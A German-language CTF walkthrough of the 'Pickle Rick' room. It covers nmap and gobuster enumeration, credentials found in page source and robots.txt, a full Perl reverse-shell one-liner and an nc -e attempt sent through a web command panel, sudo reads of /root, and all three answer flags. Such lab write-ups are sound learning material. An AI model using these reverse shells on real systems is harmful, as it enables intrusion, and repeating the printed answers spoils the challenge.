Bei diesem CTF müssen wir drei Zutaten finden, um Rick wieder in einen Menschen zu verwandeln. Wenn du Rick an Morty nicht kennst, dann solltest du dir auf jeden Fall ein paar Folgen ansehen (vorallem Pickle Rick)!
Fangen wir mit einem einfach nmap Scan an, um uns einen Überblick zu verschaffen:
nmap DIE_IP_DEINER_MACHINE
Dadurch sehen wir, dass eine Website existiert und ein ssh Zugriff möglich ist.
└─$ nmap DIE_IP_DEINER_MACHINE
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-27 18:32 CEST
Nmap scan report for DIE_IP_DEINER_MACHINE
Host is up (0.069s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 3.07 seconds
Schauen wir uns die Website mal an:

Was sagt der Quellcode?

Sehr gut, hier haben wir den Benutzernamen: R1ckRul3s
Versuchen wir jetzt eine ssh Verbindung, schlägt diese fehl. Versuchen wir etwas anderes -> Enumeration! Doch bevor wir das machen muss ich an einen Tipp von einem Freund denken:
„Gucke immer in die robots.txt!“
Die robots.txt ist für Suchmaschinen gedacht und schreibt deren Webcrawlern vor, was sie scannen dürfen und was nicht. So kann man auf eine „leise“ Art auch Verzeichnisse finden, die nicht gefunden werden sollen. Die robots.txt befindet sich immer im root-Verzeichnis der Website. HIer findet sich aber nur Kauderwelsch:
Wubbalubbadubdub
Vielleicht ist das später noch nützlich.
Wir benutzen Gobuster uns suchen nach Verzeichnissen und Seiten (html und php):
gobuster dir -u DIE_I_DEINER_MACHINE -t 64 -x html,php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Das Ergebnis kann sich sehen lassen:
└─$ gobuster dir -u DIE_IP_DEINER_MACHINE -t 64 -x html,php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: DIE_IP_DEINER_MACHINE
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,php
[+] Timeout: 10s
===============================================================
2022/06/27 19:50:50 Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 313] [--> http://10.10.215.50/assets/]
/portal.php (Status: 302) [Size: 0] [--> /login.php]
/index.html (Status: 200) [Size: 1062]
/login.php (Status: 200) [Size: 882]
/denied.php (Status: 302) [Size: 0] [--> /login.php]
/server-status (Status: 403) [Size: 300]
===============================================================
2022/06/27 20:03:24 Finished
===============================================================
Im Assets-Verzeichnis finden sich nur ein paar Bilder und uninteressante Dateien. Die /login.php Seite ist viel interessanter, denn einen Benutzernamen haben wir ja bereits … und vielleicht ein Passwort? Probieren wir das Kauderwelsch aus der robots.txt!

Mit „ls“ lassen wir uns den Inhalt anzeigen:

Ein paar Textdateien! Der Versuch sie mit „cat“ anzeigen zu lassen hat leider nicht geklappt, geben wir mal den Dateinamen in der URL Zeile des Brwosers ein: DIE_IP_DEINER_MACHINE/Sup3rS3cretPickl3Ingred.txt
mr. meeseek hair
Sehr schön, die erste Zutat und die Antwort der ersten Frage!
Frage 1:
What is the first ingredient Rick needs?
Antwort 1:
mr. meeseek hair
Machen wir das Gleiche nun für die nächste Textdatei:
http://10.10.215.50/clue.txt
Look around the file system for the other ingredient.
Ok, folglich ist noch etwas im file system verstecht, das wir nicht sehen. Wir benötigen also eine Reverse Shell. Zuerst setzen wir einen Netcat listener aus unserem Rechner:
nc -lvnp 1234
Als nächstes müssen wir unseren Rechner über das Command Panel von Rick „anrufen“. Mit
lsb_release -a
sehen wir, dass auf Ricks Computer Ubuntu läuft, leider ist Netcat nicht installiert und wir können keine Shell mit „nc DIE_IP_DEINER_MASCHINE 1234 -e /bin/sh“ herstellen.

Gehen wir nun zu PayloadAllTheThings und probieren uns durch!
Bei der Perl-Reverse-Shell angekommen und siehe da, die Seite hängt und wir haben eine Verbindung!
perl -e 'use Socket;$i="DIE_IP_DEINER_MACHINE";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Geben wir 2x „cd ..“ ein, um zwei Ebenen tiefer zu gehen:
$ cd ..
$ cd ..
$ ls
bin
boot
dev
etc
home
initrd.img
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
$
Nach einigen missglückten Suchbegriffen und stumpfen durchsehen der einzelnen Verzeichnisse bin ich im /home/ Verzeichnis fündig geworden!

Frage 2:
Whats the second ingredient Rick needs?
Antwort 2:
1 jerry tear
Nach weiterer Suche bleiben nur noch die Verzeichnisse mit root Zugriff. Mal sehen, ob wir root Rechte (sudo) haben:
$ sudo ls /root/
3rd.txt
snap
$
Hat geklappt und 3rd.txt sieht auch verdächtig gut aus!
$ sudo cat /root/3rd.txt
3rd ingredients: fleeb juice
$
Wir haben die letzte Zutat gefunden!
Frage 3:
Whats the final ingredient Rick needs?
Antwort 3:
fleeb juice
Ich hoffe, dass euch der Walkthrough gefallen hat und wir sehen uns beim nächsten CTF!
Schreibe einen Kommentar